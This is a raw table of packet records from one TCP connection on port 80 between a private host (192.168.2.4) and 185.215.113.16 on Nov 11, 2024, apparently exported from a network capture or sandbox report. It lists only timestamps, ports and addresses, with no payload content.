Nov 11, 2024 14:32:22.440608025 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.440618038 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.440649033 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.440654039 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.440670967 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.440670967 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.440670967 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.440670967 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.440670967 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.440676928 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.440684080 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.440687895 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.440705061 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.440716982 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.440722942 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.440725088 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.440730095 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.440776110 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.440817118 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.440823078 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.440834999 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.440850019 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.440856934 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.440861940 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.440872908 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.440872908 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.440881014 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.440892935 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.440896034 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.440900087 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.440911055 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.440932989 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.440937042 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.440942049 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.440943956 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.440952063 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.440978050 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.440990925 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.441025972 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441036940 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441046000 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441051960 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441063881 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441077948 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.441104889 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.441107988 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441114902 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441127062 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441132069 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441137075 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441143036 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441163063 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441169977 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441169977 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.441178083 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441195011 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.441214085 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.441227913 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.441251993 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441298008 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.441323996 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441334009 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441349983 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441391945 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.441407919 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.441489935 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441497087 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441512108 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441518068 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441533089 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441535950 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441549063 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441549063 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.441551924 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441554070 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441572905 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.441610098 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.441629887 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441636086 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441647053 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441659927 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441683054 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441689014 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441693068 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.441695929 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441701889 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441708088 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441714048 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.441714048 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441721916 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441741943 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.441772938 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.441772938 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441781044 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441787004 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441792011 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441797972 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441804886 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441822052 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.441838026 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.441859961 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441869974 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441884041 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441919088 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.441942930 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.441966057 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441972971 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441987991 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.441992998 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442003965 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442019939 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.442061901 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.442091942 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442097902 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442105055 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442109108 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442115068 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442152977 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.442173004 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.442178965 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442184925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442199945 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442208052 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442240953 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.442249060 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442254066 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442266941 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442266941 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.442274094 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442280054 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442306042 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.442336082 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.442493916 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442501068 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442506075 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442512035 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442517996 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442523003 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442528963 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442538977 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442544937 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442554951 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442558050 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.442562103 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442565918 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442572117 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442574978 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.442579031 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442584991 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442590952 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442595959 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.442599058 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442617893 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.442636013 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.442648888 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.442833900 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442840099 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442852020 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442857027 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442862988 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442867994 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442882061 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442893982 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.442920923 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.442941904 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.442974091 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442981005 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442986012 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442991972 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.442996979 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443011045 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443017006 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443022013 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443026066 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.443028927 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443036079 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443058968 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.443079948 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.443092108 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.443130970 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443136930 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443147898 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443154097 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443159103 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443173885 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443180084 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443182945 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.443186998 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443195105 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443206072 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.443207026 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443213940 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443221092 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443231106 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.443250895 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.443264008 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.443289042 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443295956 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443309069 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443322897 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443337917 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.443355083 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.443367004 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443373919 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443386078 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443388939 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.443392992 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443422079 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.443442106 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.443475008 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443480968 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443492889 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443497896 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443505049 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443516016 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443521976 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443525076 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.443528891 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443551064 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.443572998 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.443625927 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443631887 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443641901 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443650007 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443664074 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443674088 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443676949 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.443680048 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443686962 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443696976 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443703890 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443707943 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.443711042 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443722963 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443727970 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.443728924 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443742037 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443747997 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.443775892 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.443800926 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.443824053 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443830013 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443841934 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443846941 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443852901 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443865061 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443871021 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443883896 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.443888903 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443896055 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.443905115 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.443929911 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.443941116 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.444721937 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.444767952 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.444789886 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.444797039 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.444818974 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.444824934 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.444832087 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.444845915 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.444878101 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.444880962 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.444889069 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.444894075 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.444899082 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.444931984 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.444936991 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.444941044 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.444942951 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.444976091 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.445033073 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445050955 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445060015 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445065975 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445071936 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.445071936 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445080042 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445107937 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.445136070 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.445138931 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445146084 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445178032 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445183992 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445184946 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.445195913 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445203066 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445209026 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445230007 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.445254087 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.445327997 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445333004 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445344925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445350885 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445358038 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445379019 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.445388079 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445394039 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445394993 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.445431948 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.445483923 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445491076 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445497036 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445502043 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445507050 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445512056 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445525885 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445532084 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445535898 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.445538998 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445553064 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.445568085 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.445621014 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445626974 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445640087 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445645094 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445652008 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445674896 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.445687056 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.445699930 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445707083 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445719004 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445740938 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445748091 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445750952 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.445754051 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445760965 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445784092 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.445796013 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.445866108 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445873976 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445888996 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445897102 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445905924 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445914030 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445921898 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445924997 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.445930958 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445957899 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.445964098 CET	80	49761	185.215.113.16	192.168.2.4
